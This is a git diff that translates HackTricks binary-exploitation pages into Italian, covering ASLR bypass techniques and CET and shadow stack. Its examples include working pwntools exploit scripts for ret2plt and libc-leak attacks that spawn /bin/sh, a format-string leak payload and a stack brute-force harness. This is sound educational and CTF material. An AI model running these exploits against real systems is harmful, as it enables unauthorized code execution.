utilizzati dai processi di sistema e applicazione. In questo modo, rende significativamente più difficile per un attaccante prevedere la posizione di processi e dati specifici, come lo stack, l'heap e le librerie, mitigando così alcuni tipi di exploit, in particolare i buffer overflow. -### **Checking ASLR Status** +### **Controllare lo Stato di ASLR** -To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied: +Per **controllare** lo stato di ASLR su un sistema Linux, puoi leggere il valore dal file **`/proc/sys/kernel/randomize_va_space`**. Il valore memorizzato in questo file determina il tipo di ASLR applicato: -- **0**: No randomization. Everything is static. -- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized. -- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized. - -You can check the ASLR status with the following command: +- **0**: Nessuna randomizzazione. Tutto è statico. +- **1**: Randomizzazione conservativa. Le librerie condivise, lo stack, mmap(), la pagina VDSO sono randomizzate. +- **2**: Randomizzazione completa. Oltre agli elementi randomizzati dalla randomizzazione conservativa, la memoria gestita tramite `brk()` è randomizzata. +Puoi controllare lo stato di ASLR con il seguente comando: ```bash cat /proc/sys/kernel/randomize_va_space ``` +### **Disabilitare ASLR** -### **Disabling ASLR** - -To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it: - +Per **disabilitare** ASLR, imposta il valore di `/proc/sys/kernel/randomize_va_space` a **0**. Disabilitare ASLR non è generalmente raccomandato al di fuori di scenari di test o debug. Ecco come puoi disabilitarlo: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` - -You can also disable ASLR for an execution with: - +Puoi anche disabilitare ASLR per un'esecuzione con: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` +### **Abilitare ASLR** -### **Enabling ASLR** - -To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command: - +Per **abilitare** ASLR, puoi scrivere un valore di **2** nel file `/proc/sys/kernel/randomize_va_space`. Questo richiede tipicamente privilegi di root. L'abilitazione della randomizzazione completa può essere effettuata con il seguente comando: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### **Persistenza tra i Riavvii** -### **Persistence Across Reboots** - -Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line: - +Le modifiche apportate con i comandi `echo` sono temporanee e verranno ripristinate al riavvio. Per rendere la modifica persistente, è necessario modificare il file `/etc/sysctl.conf` e aggiungere o modificare la seguente riga: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` - -After editing `/etc/sysctl.conf`, apply the changes with: - +Dopo aver modificato `/etc/sysctl.conf`, applica le modifiche con: ```bash sudo sysctl -p ``` - -This will ensure that your ASLR settings remain across reboots. +Questo garantirà che le impostazioni ASLR rimangano attive tra i riavvii. ## **Bypasses** ### 32bit brute-forcing -PaX divides the process address space into **3 groups**: +PaX divide lo spazio degli indirizzi del processo in **3 gruppi**: -- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses. -- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`. -- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**. +- **Codice e dati** (inizializzati e non inizializzati): `.text`, `.data`, e `.bss` —> **16 bit** di entropia nella variabile `delta_exec`. Questa variabile è inizializzata casualmente con ogni processo e aggiunta agli indirizzi iniziali. +- **Memoria** allocata da `mmap()` e **librerie condivise** —> **16 bit**, chiamata `delta_mmap`. +- **Lo stack** —> **24 bit**, indicato come `delta_stack`. Tuttavia, utilizza effettivamente **11 bit** (dal 10° al 20° byte inclusi), allineati a **16 byte** —> Questo porta a **524.288 possibili indirizzi reali dello stack**. -The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully. +I dati precedenti sono per sistemi a 32 bit e l'entropia finale ridotta rende possibile bypassare ASLR riprovando l'esecuzione più e più volte fino a quando l'exploit non viene completato con successo. -#### Brute-force ideas: - -- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**. - - Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**. -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +#### Idee di brute-force: +- Se hai un overflow abbastanza grande da ospitare un **grande NOP sled prima del shellcode**, potresti semplicemente forzare gli indirizzi nello stack fino a quando il flusso **salta oltre una parte del NOP sled**. +- Un'altra opzione per questo, nel caso in cui l'overflow non sia così grande e l'exploit possa essere eseguito localmente, è possibile **aggiungere il NOP sled e il shellcode in una variabile d'ambiente**. +- Se l'exploit è locale, puoi provare a forzare l'indirizzo base di libc (utile per sistemi a 32 bit): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- Se attacchi un server remoto, potresti provare a **forzare l'indirizzo della funzione `usleep` di `libc`**, passando come argomento 10 (ad esempio). Se a un certo punto il **server impiega 10 secondi in più per rispondere**, hai trovato l'indirizzo di questa funzione. > [!TIP] -> In 64bit systems the entropy is much higher and this shouldn't possible. +> Nei sistemi a 64 bit l'entropia è molto più alta e questo non dovrebbe essere possibile. -### 64 bits stack brute-forcing - -It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\ -The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**: +### Forzatura dello stack a 64 bit +È possibile occupare una grande parte dello stack con variabili d'ambiente e poi provare ad abusare del binario centinaia/migliaia di volte localmente per sfruttarlo.\ +Il seguente codice mostra come sia possibile **selezionare semplicemente un indirizzo nello stack** e ogni **pochi centinaia di esecuzioni** quell'indirizzo conterrà l'**istruzione NOP**: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include int main() { - unsigned long long address = 0xffffff1e7e38; - unsigned int* ptr = (unsigned int*)address; - unsigned int value = *ptr; - printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); - return 0; +unsigned long long address = 0xffffff1e7e38; +unsigned int* ptr = (unsigned int*)address; +unsigned int value = *ptr; +printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); +return 0; } ``` @@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops # Define the environment variables you want to set env_vars = { - 'a': shellcode_env_var, - 'b': shellcode_env_var, - 'c': shellcode_env_var, - 'd': shellcode_env_var, - 'e': shellcode_env_var, - 'f': shellcode_env_var, - 'g': shellcode_env_var, - 'h': shellcode_env_var, - 'i': shellcode_env_var, - 'j': shellcode_env_var, - 'k': shellcode_env_var, - 'l': shellcode_env_var, - 'm': shellcode_env_var, - 'n': shellcode_env_var, - 'o': shellcode_env_var, - 'p': shellcode_env_var, +'a': shellcode_env_var, +'b': shellcode_env_var, +'c': shellcode_env_var, +'d': shellcode_env_var, +'e': shellcode_env_var, +'f': shellcode_env_var, +'g': shellcode_env_var, +'h': shellcode_env_var, +'i': shellcode_env_var, +'j': shellcode_env_var, +'k': shellcode_env_var, +'l': shellcode_env_var, +'m': shellcode_env_var, +'n': shellcode_env_var, +'o': shellcode_env_var, +'p': shellcode_env_var, } cont = 0 while True: - cont += 1 +cont += 1 - if cont % 10000 == 0: - break +if cont % 10000 == 0: +break - print(cont, end="\r") - # Define the path to your binary - binary_path = './aslr-testing' +print(cont, end="\r") +# Define the path to your binary +binary_path = './aslr-testing' - try: - process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) - output = process.communicate()[0] - if "0xd5" in str(output): - print(str(cont) + " -> " + output) - except Exception as e: - print(e) - print(traceback.format_exc()) - pass +try: +process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) +output = process.communicate()[0] +if "0xd5" in str(output): +print(str(cont) + " -> " + output) +except Exception as e: +print(e) +print(traceback.format_exc()) +pass ``` -
-### Local Information (`/proc/[pid]/stat`) +### Informazioni Locali (`/proc/[pid]/stat`) -The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as: +Il file **`/proc/[pid]/stat`** di un processo è sempre leggibile da chiunque e **contiene informazioni interessanti** come: -- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary -- **startstack**: The address of the start of the **stack** -- **start_data** & **end_data**: Addresses above and below where the **BSS** is -- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses -- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are. -- **env_start** &**env_end**: Addresses above and below where **env variables** are. +- **startcode** & **endcode**: Indirizzi sopra e sotto con il **TESTO** del binario +- **startstack**: L'indirizzo dell'inizio dello **stack** +- **start_data** & **end_data**: Indirizzi sopra e sotto dove si trova il **BSS** +- **kstkesp** & **kstkeip**: Indirizzi attuali di **ESP** e **EIP** +- **arg_start** & **arg_end**: Indirizzi sopra e sotto dove si trovano gli **argomenti cli**. +- **env_start** &**env_end**: Indirizzi sopra e sotto dove si trovano le **variabili d'ambiente**. -Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**. +Pertanto, se l'attaccante si trova sullo stesso computer del binario sfruttato e questo binario non si aspetta il overflow da argomenti raw, ma da un diverso **input che può essere creato dopo aver letto questo file**. È possibile per un attaccante **ottenere alcuni indirizzi da questo file e costruire offset da essi per l'exploit**. > [!TIP] -> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat` +> Per ulteriori informazioni su questo file, controlla [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) cercando `/proc/pid/stat` -### Having a leak +### Avere una leak -- **The challenge is giving a leak** - -If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details): +- **La sfida è fornire una leak** +Se ti viene fornita una leak (sfide CTF facili), puoi calcolare offset da essa (supponendo ad esempio che tu conosca la versione esatta di libc utilizzata nel sistema che stai sfruttando). Questo esempio di exploit è estratto da [**esempio da qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (controlla quella pagina per ulteriori dettagli): ```python from pwn import * @@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - 0x0, # return address - next(libc.search(b'/bin/sh')) +'A' * 32, +libc.sym['system'], +0x0, # return address +next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive() ``` - - **ret2plt** -Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check: +Abusando di un buffer overflow sarebbe possibile sfruttare un **ret2plt** per esfiltrare un indirizzo di una funzione dalla libc. Controlla: {{#ref}} ret2plt.md @@ -216,8 +198,7 @@ ret2plt.md - **Format Strings Arbitrary Read** -Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): - +Proprio come in ret2plt, se hai una lettura arbitraria tramite una vulnerabilità delle stringhe di formato è possibile esfiltrare l'indirizzo di una **funzione libc** dal GOT. Il seguente [**esempio è da qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` - -You can find more info about Format Strings arbitrary read in: +Puoi trovare ulteriori informazioni su Format Strings lettura arbitraria in: {{#ref}} ../../format-strings/ @@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in: ### Ret2ret & Ret2pop -Try to bypass ASLR abusing addresses inside the stack: +Prova a bypassare ASLR abusando degli indirizzi all'interno dello stack: {{#ref}} ret2ret.md @@ -245,13 +225,12 @@ ret2ret.md ### vsyscall -The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\ -However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent) +Il meccanismo **`vsyscall`** serve a migliorare le prestazioni consentendo a determinate chiamate di sistema di essere eseguite nello spazio utente, anche se fanno parte fondamentalmente del kernel. Il vantaggio critico delle **vsyscalls** risiede nei loro **indirizzi fissi**, che non sono soggetti a **ASLR** (Randomizzazione del Layout dello Spazio degli Indirizzi). Questa natura fissa significa che gli attaccanti non richiedono una vulnerabilità di leak informativo per determinare i loro indirizzi e usarli in un exploit.\ +Tuttavia, non si troveranno gadget super interessanti qui (anche se, ad esempio, è possibile ottenere un equivalente di `ret;`) -(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) - -For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit. +(L'esempio e il codice seguenti sono [**da questo writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) +Ad esempio, un attaccante potrebbe utilizzare l'indirizzo `0xffffffffff600800` all'interno di un exploit. Mentre tentare di saltare direttamente a un'istruzione `ret` potrebbe portare a instabilità o crash dopo aver eseguito un paio di gadget, saltare all'inizio di una `syscall` fornita dalla sezione **vsyscall** può rivelarsi un successo. Posizionando con attenzione un gadget **ROP** che porta l'esecuzione a questo indirizzo **vsyscall**, un attaccante può ottenere l'esecuzione di codice senza dover bypassare **ASLR** per questa parte dell'exploit. ``` ef➤ vmmap Start End Offset Perm Path @@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 - 0xffffffffff600800: mov rax,0x135 - 0xffffffffff600807: syscall - 0xffffffffff600809: ret - 0xffffffffff60080a: int3 +0xffffffffff600800: mov rax,0x135 +0xffffffffff600807: syscall +0xffffffffff600809: ret +0xffffffffff60080a: int3 ``` - ### vDSO -Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check: +Nota quindi come potrebbe essere possibile **bypassare ASLR abusando del vdso** se il kernel è compilato con CONFIG_COMPAT_VDSO poiché l'indirizzo vdso non sarà randomizzato. Per ulteriori informazioni controlla: {{#ref}} ../../rop-return-oriented-programing/ret2vdso.md diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md index c0e55129b..41fad05be 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -2,40 +2,37 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**. - -This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): +L'obiettivo di questa tecnica sarebbe quello di **leakare un indirizzo da una funzione del PLT** per poter bypassare ASLR. Questo perché, se ad esempio, leakate l'indirizzo della funzione `puts` dalla libc, potete poi **calcolare dove si trova la base di `libc`** e calcolare gli offset per accedere ad altre funzioni come **`system`**. +Questo può essere fatto con un payload `pwntools` come ([**da qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): ```python # 32-bit ret2plt payload = flat( - b'A' * padding, - elf.plt['puts'], - elf.symbols['main'], - elf.got['puts'] +b'A' * padding, +elf.plt['puts'], +elf.symbols['main'], +elf.got['puts'] ) # 64-bit payload = flat( - b'A' * padding, - POP_RDI, - elf.got['puts'] - elf.plt['puts'], - elf.symbols['main'] +b'A' * padding, +POP_RDI, +elf.got['puts'] +elf.plt['puts'], +elf.symbols['main'] ) ``` +Nota come **`puts`** (utilizzando l'indirizzo dal PLT) venga chiamato con l'indirizzo di `puts` situato nel GOT (Global Offset Table). Questo perché, quando `puts` stampa l'entry del GOT di puts, questa **entry conterrà l'indirizzo esatto di `puts` in memoria**. -Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**. - -Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid). +Nota anche come l'indirizzo di `main` venga utilizzato nell'exploit, così quando `puts` termina la sua esecuzione, il **binary chiama di nuovo `main` invece di uscire** (quindi l'indirizzo leak continuerà a essere valido). > [!CAUTION] -> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first. - -You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**: +> Nota come, affinché questo funzioni, il **binary non può essere compilato con PIE** oppure devi aver **trovato un leak per bypassare PIE** per conoscere l'indirizzo del PLT, GOT e main. Altrimenti, devi prima bypassare PIE. +Puoi trovare un [**esempio completo di questo bypass qui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Questo era l'exploit finale di quell'**esempio**: ```python from pwn import * @@ -46,10 +43,10 @@ p = process() p.recvline() payload = flat( - 'A' * 32, - elf.plt['puts'], - elf.sym['main'], - elf.got['puts'] +'A' * 32, +elf.plt['puts'], +elf.sym['main'], +elf.got['puts'] ) p.sendline(payload) @@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - libc.sym['exit'], - next(libc.search(b'/bin/sh\x00')) +'A' * 32, +libc.sym['system'], +libc.sym['exit'], +next(libc.search(b'/bin/sh\x00')) ) p.sendline(payload) p.interactive() ``` - -## Other examples & References +## Altri esempi e Riferimenti - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi un gadget ROP per chiamare `system('/bin/sh')` - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64 bit, ASLR abilitato, senza canary, overflow dello stack in main da una funzione figlia. Gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi chiamare un one gadget. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md index 19f39dac3..a203acf5e 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md @@ -4,27 +4,27 @@ ## Ret2ret -The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**. +L'**obiettivo** principale di questa tecnica è cercare di **bypassare ASLR abusando di un puntatore esistente nello stack**. -Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte). +Fondamentalmente, gli overflow dello stack sono solitamente causati da stringhe, e **le stringhe terminano con un byte nullo alla fine** in memoria. Questo consente di cercare di ridurre il luogo puntato da un puntatore già esistente nello stack. Quindi, se lo stack conteneva `0xbfffffdd`, questo overflow potrebbe trasformarlo in `0xbfffff00` (nota l'ultimo byte azzerato). -If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached. +Se quell'indirizzo punta al nostro shellcode nello stack, è possibile far raggiungere quel indirizzo al flusso **aggiungendo indirizzi all'istruzione `ret`** finché non viene raggiunto. -Therefore the attack would be like this: +Pertanto, l'attacco sarebbe così: - NOP sled - Shellcode -- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled) -- 0x00 added by the string modifying an address from the stack making it point to the NOP sled +- Sovrascrivere lo stack dall'EIP con **indirizzi a `ret`** (RET sled) +- 0x00 aggiunto dalla stringa che modifica un indirizzo dallo stack facendolo puntare al NOP sled -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit. +Seguendo [**questo link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) puoi vedere un esempio di un binario vulnerabile e [**in questo**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) l'exploit. ## Ret2pop -In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop ; ret`**.\ -This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change. +Nel caso tu possa trovare un **puntatore perfetto nello stack che non vuoi modificare** (in `ret2ret` cambiamo l'ultimo byte più basso in `0x00`), puoi eseguire lo stesso attacco `ret2ret`, ma la **lunghezza del RET sled deve essere accorciata di 1** (quindi il finale `0x00` sovrascrive i dati appena prima del puntatore perfetto), e il **ultimo** indirizzo del RET sled deve puntare a **`pop ; ret`**.\ +In questo modo, i **dati prima del puntatore perfetto verranno rimossi** dallo stack (questi sono i dati influenzati dal `0x00`) e il **finale `ret` punterà all'indirizzo perfetto** nello stack senza alcuna modifica. -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit. +Seguendo [**questo link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) puoi vedere un esempio di un binario vulnerabile e [**in questo**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) l'exploit. ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md index 22e1edbc2..5480bbc7e 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md @@ -4,22 +4,22 @@ ## Control Flow Enforcement Technology (CET) -**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action. +**CET** è una funzionalità di sicurezza implementata a livello hardware, progettata per contrastare attacchi comuni di dirottamento del flusso di controllo come **Return-Oriented Programming (ROP)** e **Jump-Oriented Programming (JOP)**. Questi tipi di attacchi manipolano il flusso di esecuzione di un programma per eseguire codice malevolo o per concatenare pezzi di codice benigno in un modo che esegue un'azione malevola. -CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**. +CET introduce due funzionalità principali: **Indirect Branch Tracking (IBT)** e **Shadow Stack**. -- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations. -- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow. +- **IBT** garantisce che i salti e le chiamate indirette vengano effettuati verso destinazioni valide, che sono contrassegnate esplicitamente come destinazioni legali per i rami indiretti. Questo viene realizzato attraverso l'uso di un nuovo set di istruzioni che contrassegna le destinazioni valide, impedendo così agli attaccanti di deviare il flusso di controllo verso posizioni arbitrarie. +- **Shadow Stack** è un meccanismo che fornisce integrità per gli indirizzi di ritorno. Mantiene una copia sicura e nascosta degli indirizzi di ritorno separata dallo stack di chiamata regolare. Quando una funzione restituisce, l'indirizzo di ritorno viene convalidato rispetto allo shadow stack, impedendo agli attaccanti di sovrascrivere gli indirizzi di ritorno nello stack per dirottare il flusso di controllo. ## Shadow Stack -The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks. +Lo **shadow stack** è uno **stack dedicato utilizzato esclusivamente per memorizzare gli indirizzi di ritorno**. Funziona insieme allo stack regolare ma è protetto e nascosto dall'esecuzione normale del programma, rendendo difficile per gli attaccanti manometterlo. L'obiettivo principale dello shadow stack è garantire che eventuali modifiche agli indirizzi di ritorno nello stack convenzionale vengano rilevate prima di poter essere utilizzate, mitigando efficacemente gli attacchi ROP. -## How CET and Shadow Stack Prevent Attacks +## Come CET e Shadow Stack Prevengono Attacchi -**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code. +Gli **attacchi ROP e JOP** si basano sulla capacità di dirottare il flusso di controllo di un'applicazione sfruttando vulnerabilità che consentono loro di sovrascrivere puntatori o indirizzi di ritorno nello stack. Direzionando il flusso verso sequenze di gadget di codice esistente o gadget di programming orientato al ritorno, gli attaccanti possono eseguire codice arbitrario. -- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary. -- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding. +- La funzionalità **IBT** di CET rende questi attacchi significativamente più difficili garantendo che i rami indiretti possano saltare solo a indirizzi che sono stati esplicitamente contrassegnati come destinazioni valide. Questo rende impossibile per gli attaccanti eseguire gadget arbitrari distribuiti nel binario. +- Lo **shadow stack**, d'altra parte, garantisce che anche se un attaccante può sovrascrivere un indirizzo di ritorno nello stack normale, la **discrepanza verrà rilevata** confrontando l'indirizzo corrotto con la copia sicura 